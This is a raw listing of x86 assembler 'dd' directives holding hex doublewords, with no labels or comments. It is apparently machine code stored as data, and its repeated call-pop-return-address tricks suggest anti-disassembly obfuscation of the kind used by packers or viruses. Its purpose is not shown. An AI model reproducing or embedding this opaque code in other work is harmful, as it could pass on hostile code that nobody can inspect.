		dd 9D8BFFFFh, 5E22D41h,	6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0A5E94C3h, 2BC7A47Ch
		dd 8DFE8B93h, 0E20E9185h, 17D78105h, 90331B36h,	1DA9BB66h
		dd 6A9050h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0C07292C3h, 3888923Eh, 6AAA91h, 4219D8Bh
		dd 6A05E2h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 17h,	85C35343h, 0FF7F614h, 858DDFB7h, 5E685F1h, 1BF99D8Bh
		dd 0C08305E2h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 4FAB25DDh, 0AE850B9h
		dd 0E5000000h, 0D023CB8Dh, 0DF49837Fh, 5F5056EFh, 4895F5Bh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8D31C139h, 5E20C45h, 8166006Ah, 6A19D8DBh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0AD12EA72h, 5880F4Fh, 66000000h,	74B1F781h
		dd 1E2D95FFh, 8D8D05E2h, 5E59D80h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 6C35747h, 68AF9117h, 8BAF0083h
		dd 0E21C699Dh, 6AD1FF05h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 7C18C351h, 3D6975D2h
		dd 302D9D8Bh, 0BD8305E2h, 5E200B9h, 55850F01h, 0E8000000h
		dd 0Fh,	7A99F704h, 0C4500B42h, 158FC8DEh, 8BB9FF2Fh, 26A5FFBh
		dd 5F23B351h, 7E950h, 8F180000h, 0FB5D5FE5h, 240489C6h
		dd 30319D89h, 95FF05E2h, 5E214E9h, 10E8h, 171CB800h, 52E3D057h
		dd 4B18DED4h, 0B1F2947Fh, 3DBD8BB0h, 5F05E215h,	0EDDE9h
		dd 0E800h, 815D0000h, 0E685FBEDh, 5E805h, 0CB170000h, 0F9ADB00Dh
		dd 55006A5Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 858DFBDFh, 5E58E9Eh, 2AE5BD8Bh, 895005E2h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 893449C3h, 0FF640203h, 35h, 66FC6000h, 6461C68Bh
		dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 4A4DB2C3h, 0F5EBBF66h, 232985FFh
		dd 0F98B05E2h, 6AFF6Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0B74A13C3h, 205067A6h, 0FFDF56EEh
		dd 0E20659B5h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 81661A60h, 0FF3FA7CBh
		dd 0E2189D95h, 12AE905h, 9D230000h, 5E21F99h, 9D8900B0h
		dd 5E200ADh, 0B70F70E6h, 8971E4FFh, 0E20D31B5h,	0F613C05h
		dd 10783h, 0C8B60F00h, 6BAF5h, 8E80000h, 1E000000h, 60245840h
		dd 0BF4E2D1Dh, 528C118Fh, 850F5Fh, 8B000000h, 0A1B531C1h
		dd 0C105E20Fh, 816604E8h, 664A5BDFh, 0B589E2F7h, 5E210B5h
		dd 18E0Fh, 2BF90000h, 6800FC8h,	8B000000h, 0E219059Dh
		dd 0FD9D0105h, 8B05E218h, 699D8BD1h, 0E905E21Dh, 4, 899FBB66h
		dd 326D858Bh, 0E95305E2h, 0Dh, 0BA034160h, 627AB98Bh, 18B7DC3Eh
		dd 85895FFAh, 5E21D99h,	6607C083h, 0C083DF8Bh, 81666000h
		dd 0BD629D8h, 0E211118Dh, 0D03B6105h, 27830Fh, 11E90000h
		dd 66000000h, 0C3D2537h, 55A1672Dh, 4DD0210Ah, 9F1974F0h
		dd 0E9F8BF0Fh, 44h, 89FB8B66h, 0E215F1BDh, 0F98D8B05h
		dd 6605E209h, 83CFF1BBh, 840F01E1h, 28h, 8BD9BF0Fh, 0F9A583D8h
		dd 0FE05E209h, 15F19D8Bh, 958905E2h, 5E2326Dh, 0C18D8B60h
		dd 8005E203h, 0E961A6E7h, 0
		dd 776B58Dh, 5F5705E6h,	23E9BD8Bh, 6A05E2h, 0AB59501h
		dd 95FF05E2h, 5E20AB9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 16C35040h, 8AD98B4Fh,	871B9FDh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 745DEEC3h, 996D4714h, 31589730h, 0E21DF5B5h,	0FCE18305h
		dd 1F018D89h, 0B8FC05E2h, 0
		dd 0DE9h, 282F0800h, 0B8322B28h, 0A15E2DADh, 0D22B2EAEh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AEC35242h
		dd 9D9D2356h, 0AD05E20Dh, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0CA2AC351h, 9C08CF76h, 0DEB70FB6h, 7CC8BF66h
		dd 6AFB8B66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0C22DC350h, 16AD0342h,	0CCD7D575h
		dd 17358589h, 880D05E2h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C9CDC352h
		dd 89A21102h, 0E20E319Dh, 0E5BD3105h, 8B05E21Dh, 0E20BE995h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 8E298C87h, 9D9F761Ah, 0DA8B6613h, 7618D8Bh
		dd 896005E2h, 0E200D9BDh, 9FD38105h, 6154D168h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 8BF315C3h
		dd 0D5ABFBB0h, 0FDC562Dh, 0F8Fh, 0AE900h, 0B7FD0000h, 0CC72E633h
		dd 0C73CB44Dh, 18810Fh,	0FC600000h, 10E9h, 0FA030100h
		dd 0D03E0E63h, 1C7DB200h, 0A9189CEAh, 0F98A61F3h, 0D79BD83h
		dd 0F0005E2h, 6384h, 0E3816600h, 0B85AD0h, 60000000h, 14E9h
		dd 4AD77300h, 3F22D243h, 0DEC8B70Ch, 841389A4h,	27751858h
		dd 8D9D0390h, 6105E204h, 4C428D8Dh, 8B6605E2h, 6AE1FFD8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 9058C351h, 0C2C694F3h, 606B4D2Dh,	919D01F8h
		dd 6105E218h, 1B55BD83h, 0F0005E2h, 50184h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8320698Eh, 0E21B55BDh, 840F0105h, 4F1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8DC35646h, 0B4AAC5C4h
		dd 0BD8396E3h, 5E21B55h, 8C860F03h, 66000004h, 0E9A733BFh
		dd 0Ah,	99583B8Dh, 0B437BFF5h, 51600DBEh, 0D98C665Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 59C35646h, 0D3F618C3h
		dd 39B07B1h, 0E21D85BDh, 71B58905h, 8005E201h, 9D8B04E1h
		dd 5E21AA1h, 840FC90Ah,	14Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 88C35242h, 1F618589h, 858B05E2h
		dd 5E2241Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	7AC35242h, 8533009Dh, 5E22AA9h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 8DC35646h, 1DBB508Bh
		dd 8961912Dh, 880F2404h, 6, 2F9D9D8Bh, 858905E2h, 5E20C85h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0D2E04AC3h, 8E19A5D1h, 8B0F5B8Ah,	6, 16BD8D09h
		dd 0BF6805E2h, 8113B346h, 45402434h, 6A13ACh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0D6548CC3h
		dd 0CC95C304h, 0CE9h, 90FEC800h, 0FA071AF9h, 1E1CF19Fh
		dd 3995FF6Bh, 6A05E208h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 197EC352h, 8589EDB1h
		dd 5E5BB9Dh, 524AB560h,	58DBBF0Fh, 0F1BD0961h, 0E905E221h
		dd 235h, 14E9h,	9A56C300h, 0D02FE09Dh, 5B2FB1EBh, 0C4BF4CCEh
		dd 0AF8C0D6Fh, 95858BBDh, 6605E5BBh, 0C7FE8Bh, 18h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 58C35343h, 0D86E28F5h
		dd 0F5BAC05h, 68Ah, 519D3300h, 8B05E21Bh, 0E5BB99B5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 75DF2FF5h, 870F5954h, 0Ch, 68C0Fh, 0B5290000h, 5E20E31h
		dd 0F9858Bh, 0BB6605E2h, 689C81Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 53C35545h, 222D9D23h, 858B05E2h
		dd 5E2241Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	82C35343h, 8EB2A3D7h, 0F9D433ADh, 0DF8050D6h, 46895B53h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 89B30BA3h, 0E20589BDh, 5396F805h, 7E8h
		dd 0F8BAFE00h, 0BEF3327Ch, 5B5BDEB3h, 5FBB6650h, 0DE8A968Fh
		dd 81DBD8Bh, 0B5FF05E2h, 5E5BB95h, 1F0D8D89h, 0BA6805E2h
		dd 607627F0h, 0CE9h, 7FB3D000h,	0BCDB1E4Ch, 959582EFh
		dd 0DE94Eh, 4D2C0000h, 0C244FE14h, 0DE1D8333h, 61BC9867h
		dd 45243481h, 6A7638F3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 12D1C357h, 3FC3E662h
		dd 0D3818BA7h, 489CC439h, 0BB9D858Dh, 6A05E5h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D05CBBC3h, 44EDF1BEh, 58F0F60h, 0BE000000h,	4C578413h
		dd 5850957h, 5905E21Fh,	8B665061h, 240489FAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D3C35343h, 0E9F2EE04h
		dd 0Ah,	9EB3C1B1h, 0B0D49C86h, 8589E4CAh, 5E22B35h, 83995FFh
		dd 820F05E2h, 10h, 0A860Fh, 5E90000h, 2A000000h, 9E064E62h
		dd 5CC581BBh, 6A616Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 408270C3h, 70E691DCh, 5585C725h
		dd 305E21Bh, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 63E5C351h, 3686E823h
		dd 859D8956h, 5F05E215h, 15F1BD8Bh, 0BD8305E2h,	5E5BB9Dh
		dd 60840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 9CF8C351h, 59D0B86h
		dd 0E905E206h, 0Bh, 0B58EDDDh, 0F18BF256h, 0E984CA50h
		dd 42h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h
		dd 0B8C35545h, 0C780858Fh, 51BD8B5Fh, 5005E213h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 8B66C08Bh
		dd 57006AFBh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 8EB6121Dh, 2103C7BBh, 55BD8313h,	305E21Bh
		dd 4AB850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 79FA11C3h, 0C38D6D53h, 68C0Fh, 9D8B0000h
		dd 5E20A79h, 0BB9DBD83h, 0F0005E5h, 47084h, 11E900h, 0C2DA0000h
		dd 648E4B79h, 62D486A6h, 99F303C8h, 0FF4F334Eh,	0E5BB9DB5h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0A64EC281h, 0ECCF9A58h, 16BEBF4Ch, 95FF2182h
		dd 5E2172Dh, 518D8B60h,	0E805E223h, 6, 0E0B491BAh, 0EE8A2E9Ch
		dd 0B58B615Bh
		dd 5E5BB91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0F6C35242h, 0D4284B13h,	6C7931Ch, 10001h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B1C35242h, 0DE942BCAh
		dd 0EE96258h, 0F5000000h, 0CA082D5Fh, 0F31D56ACh, 0F6363B73h
		dd 0B0B39671h, 7E04BF50h, 0B96352Dh, 0E20B45BDh, 9DB5FF05h
		dd 6A05E5BBh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 3193C355h, 11D53796h, 0D195FF93h
		dd 6A05E22Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 8A2CC357h, 8BDABF0Fh, 0E5BB91B5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 7D9D8BEBh, 8B05E205h, 0E210DD85h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0A7759866h, 0F0E03841h, 24A19501h, 896005E2h, 0E200D59Dh
		dd 9E905h, 6C240000h, 7292B881h, 61923EC0h, 0C48689h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0D16D4FC3h, 0D49B9EAEh, 8B6DE361h, 0E20BE995h, 91BD8905h
		dd 8305E22Ch, 9D0304C2h, 5E20939h, 6A205089h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 73CBC357h, 0BD47E493h, 7A356C38h, 0FC9B589h,	858D05E2h
		dd 5E5CE5Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0A2C35343h, 8222A780h, 5810Fh, 81660000h, 896556F7h
		dd 0B886h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 0E2554949h, 6AF51D8Eh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 711A1B32h, 9DB5FF47h, 6A05E5BBh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0A4CEC357h
		dd 0ED925579h, 0D25209A7h, 21A1EF81h, 95FF7033h, 5E214E9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D3C35545h
		dd 2A973238h, 0ADDD06DFh, 1958940h, 5005E20Ah, 57505250h
		dd 310F5B5Fh, 10860Fh, 0BE90000h, 0CA000000h, 49E1D84Ah
		dd 0FFB29ABDh, 585A6CC2h, 66243489h, 0D832C781h, 0BB9DB5FFh
		dd 830F05E5h, 5, 0DE8B6656h, 2195FF5Bh,	0E805E22Dh, 9
		dd 6D2CD84Fh, 8E479FE0h, 499D8B28h, 5F05E214h, 89BD83h
		dd 0F0005E2h, 5F84h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 5CF9AAC8h, 85890C2Eh
		dd 5E20C75h, 0E8D9D89h,	505005E2h, 0BBDBB52h, 310F1B8Eh
		dd 3489585Ah, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 872EA52h,	0E751A649h, 0BB9DB5FFh
		dd 858905E5h, 5E22F8Dh,	31199D89h, 95FF05E2h, 5E20415h
		dd 2ECF8150h, 5F591C2Eh, 0BB9DB5FFh, 6A05E5h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 36BD8DC3h
		dd 5995FF30h, 5205E20Ah, 11599D8Bh, 835F05E2h, 0E224CDBDh
		dd 840F0205h, 65h, 6A5B589h, 858B05E2h,	5E21F35h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 60C35040h, 0B87F7F1Ch
		dd 800FC9F0h, 0C690E3h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 9C50A11h, 0E211698Dh
		dd 31858905h, 8905E211h, 0E21611B5h, 0F985C705h, 5E20Ch
		dd 8B000000h, 0E21DF99Dh, 0F1EEE905h, 6AFFFFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FD1EFC3h, 0C18BDAB7h, 29BD23h, 858D05E2h, 5E20E91h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 57C35242h
		dd 0B8A180CCh, 0EB5FBB32h, 0DF8B0E08h, 870F6090h, 0Ah
		dd 5E9h, 61E6B000h, 10E8103Dh, 0F0000000h, 5730D942h, 5C1F8633h
		dd 91299994h, 58B60D49h, 0FE8B5061h, 55006A90h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 6FEC608h, 0F6011CEh
		dd 18Dh, 8166F900h, 618B08CEh, 16BF006Ah, 31671216h, 0E21DED9Dh
		dd 66006A05h, 858DD98Bh, 5E6974Fh, 49DB529h, 0C08305E2h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 9A19C9D2h, 0F4E3B2D6h, 7E99Dh, 0E64E0000h
		dd 0AC148B27h, 719589F8h, 5005E221h, 489FC8Ah, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BD8B5609h, 5E209F1h, 170D9D29h, 8A0F05E2h, 8, 810F51h
		dd 5F000000h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0D6223C3h, 801F1A61h, 6A006A7Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0F27C353h, 3160DFB7h, 0E214B5B5h,	81666005h
		dd 616162C8h, 2D95FF61h, 6A05E21Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8DD7C357h
		dd 0E59D808Dh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0DEFE4EAAh, 0E5F2A002h
		dd 8E465EBFh, 6AD1FF44h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 7A68C355h, 3830FABh
		dd 80000000h, 0BD8306CFh, 5E200B9h, 83850F01h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0BFB8C350h, 0EDBD8990h, 6A05E204h, 2D9D8B02h
		dd 8B05E214h, 0E211419Dh, 0FB8B9005h, 0F98B6650h, 0E5BD8990h
		dd 0FF05E20Ch, 0E214E995h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0B3E12214h
		dd 0FE9h, 0CD6D9300h, 0BC68A25Ch, 1D3D3CEAh, 6D1EC628h
		dd 0B284BF66h, 47DB509h, 0E3E905E2h, 0E800000Dh, 0
		dd 59ED815Dh, 6605E697h, 0FC45F781h, 1DED9D0Bh,	858D05E2h
		dd 5E58E9Eh, 0E1BD8B56h, 5F05E232h, 2ABB5350h, 5F2CD822h
		dd 0E8240489h, 0Bh, 1B4108FAh, 0F32EED43h, 0E93BF05Ah
		dd 0Fh,	0E9E6A80Bh, 0C4C85DDAh,	7ED6FE16h, 5F14CAC0h, 105D9531h
		dd 0FF6405E2h, 35h, 0FE800h, 0CF90000h,	0A315FA9h, 69E82CE5h
		dd 5E36F3CAh, 959D8B34h, 5B05E20Ah, 258964h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1CD3C350h, 11E9h,	90676600h, 0D6D68688h
		dd 0E596FFE6h, 186BE7E0h, 0FE87C4Eh, 77000000h,	0C1DA45FEh
		dd 0E43D0D86h, 9D691579h, 9D33738Dh, 5E21639h, 2985FF5Fh
		dd 3305E223h, 0E20B65BDh, 0E9FF6A05h, 0Ah, 42AF8BC0h, 0F0C4726Eh
		dd 0B5FFA965h, 5E2325Dh, 0FFFFB70Fh, 0E2189D95h, 141E905h
		dd 78BF0000h, 0B054DB2Ch, 0FBBB6600h, 2370E651h, 0E23149BDh
		dd 0F71E405h, 1781h, 12E900h, 0C1530000h, 12F07BFDh, 1A67000Bh
		dd 0C4D614A5h, 836DE194h, 830F613Ch, 107h, 0B60FFA8Bh
		dd 0F1BD8BC8h, 0BA05E214h, 6, 0C2816660h, 8B66D798h, 0C18B61CAh
		dd 10E8h, 0C53A00h, 2A90B951h, 0C9B2F402h, 0D73758B9h
		dd 1BF3813Eh, 5B11D1EFh, 0F04E8C1h, 0F766F9BFh,	0BE8E2h
		dd 64210000h, 0DBAFDA73h, 9D8D4F3Fh, 10E9C9h, 0CA330000h
		dd 922ECE5h, 7FD65187h,	5DFFF349h, 2B5B045Bh, 8E9C8h, 0C1110000h
		dd 0FBD2D293h, 0D18BE00Dh, 0FE9h, 38E0F00h, 66000000h
		dd 9589DE8Bh, 5E21A81h,	1519858Bh, 8D8905E2h, 5E225D1h
		dd 0F507C083h, 6600C083h, 0D03BDA8Bh, 16830Fh, 9D010000h
		dd 5E22339h, 6A5BD01h, 4CE905E2h, 0BF000000h, 4E421F69h
		dd 1CDD8D8Bh, 0BD0105E2h, 5E21F05h, 0F01E183h, 3284h, 8860F00h
		dd 0F000000h, 28Fh, 83FA8B00h, 0E21CDDA5h, 0BD8BFE05h
		dd 5E20AA5h, 15199589h,	0BD0905E2h, 5E215C5h, 0CCDBD8Bh
		dd 0E905E2h, 8D000000h,	0E6126DB5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 11E98847h
		dd 4F000000h, 398E86F0h, 23C802F6h, 0A34B7C7Fh,	1D7CD906h
		dd 1419589h, 6A05E2h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 16h, 25C35343h, 0BF0FEA98h, 0B995FFDFh, 6605E20Ah
		dd 0BD23FB8Bh, 5E22105h, 863B9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 870F23E5h
		dd 4, 0FA92BB66h, 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 605CC353h, 0EF1CF025h
		dd 69958950h, 5B05E232h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D8BEA1Eh, 5E208A5h, 26A99D89h
		dd 0B805E2h, 29000000h,	0E2303D95h, 6AD22B05h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 9E0BC355h, 2B0664EEh, 0E20B459Dh, 0C233AD05h, 0D003E8D1h
		dd 7504E983h, 7D9D89F4h, 5005E226h, 5DB5895Bh, 0D05E218h
		dd 88h,	0FC8A5250h, 958B5B5Fh, 5E20BE9h, 5219D8Bh, 8D8B05E2h
		dd 5E20761h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0F4C35141h, 13820Fh, 0DE80000h,	0C9000000h, 37E57777h
		dd 6A38DBDAh, 4F9DE351h, 6BBB665Bh, 0C28B5085h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2E11C352h
		dd 0B6E6AFAFh, 56CC923Ah, 59858956h, 5B05E21Bh,	0F88B665Bh
		dd 0D79BD83h, 0F0005E2h, 8184h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 9E90ED4h, 0E209A9BDh
		dd 0B805h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 1EAFBC3h, 0D36EE57Ch, 89A1DB29h
		dd 0E213D595h, 428D8D05h, 8B05E24Ch, 0E22BCDBDh, 6AE1FF05h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 75B3C355h, 0BD83F8C0h, 5E21B55h, 0D0840F00h
		dd 0F000004h, 584h, 0E7816600h,	0BD834401h, 5E21B55h, 0D3840F01h
		dd 83000004h, 0E21B55BDh, 860F0305h, 490h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 38C35646h, 0FB8C79CDh
		dd 50006A60h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 4BB99AAAh, 29818589h, 0BD0105E2h, 5E21769h
		dd 60D98C66h, 2FCEF5B8h, 0EE843h, 4DB10000h, 8F093AC7h
		dd 0DDF10E4Ch, 7EA853FEh, 6158FCB7h, 6A04E180h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0F706C356h, 1D90C27Bh, 8166481Dh, 0A91D2C3h,	33840FC9h
		dd 51000001h, 8B5FFA8Bh, 0E2164D9Dh, 1D858B05h,	6A05E224h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0EEC2C350h, 2D199D23h, 853305E2h,	5E22AA9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3FC35040h
		dd 5003879Bh, 0EE85250h, 99000000h, 3B06E5E4h, 0FE770A5Bh
		dd 86C1DA45h, 0F52500Dh, 5F585A31h, 585A310Fh, 0E9240489h
		dd 6, 0C0F19B81h, 6AE007h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 2AC35747h, 6843E780h,	875FFCFCh, 0D98B5250h
		dd 585A310Fh, 3240481h,	6A78BF07h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 96E2C351h
		dd 0ACBC2AA2h, 66DBBF0Fh, 95FFDA8Bh, 5E20839h, 0D759D8Bh
		dd 858905E2h, 5E5BB9Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 33C35343h, 0E9FFBF0Fh, 259h, 0FE8h, 0D4E3D200h
		dd 7B50C8E9h, 0BAC27545h, 2D78F3B4h, 5BF88B66h,	858BD98Bh
		dd 5E5BB95h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	96C35646h, 96DA68D0h, 0EB20738Ah, 0C7F88B66h, 1800h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 158895D7h, 0F56FF232h, 0BB99B58Bh, 6A05E5h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 4B5EB7C3h, 858BD98Bh, 5E200F9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0A9C35040h,	6A06893Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 2265C351h, 0BF0F43C8h, 1D858BFFh, 6A05E224h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0E3F5C355h, 0B44B2F21h, 816637E2h, 8B1039DFh, 0E218899Dh
		dd 4468905h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	96C35747h, 880F5196h, 0Ch, 7E9h, 75EF8500h, 8B8131E4h
		dd 10E9505Bh, 9E000000h, 3236C5Eh, 415A4ADCh, 4EB5A675h
		dd 9651FFD7h, 21999D29h, 0B5FF05E2h, 5E5BB95h, 0E853006Ah
		dd 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 55C35343h, 0E169E1F8h
		dd 6697ECA8h, 68ADCDBBh, 86B4C4EBh, 0F9EB460h, 683h, 850F00h
		dd 61000000h, 14240481h, 6A796A3Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 62ACC356h
		dd 9D858D70h, 6A05E5BBh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 6F67C356h, 890F1596h
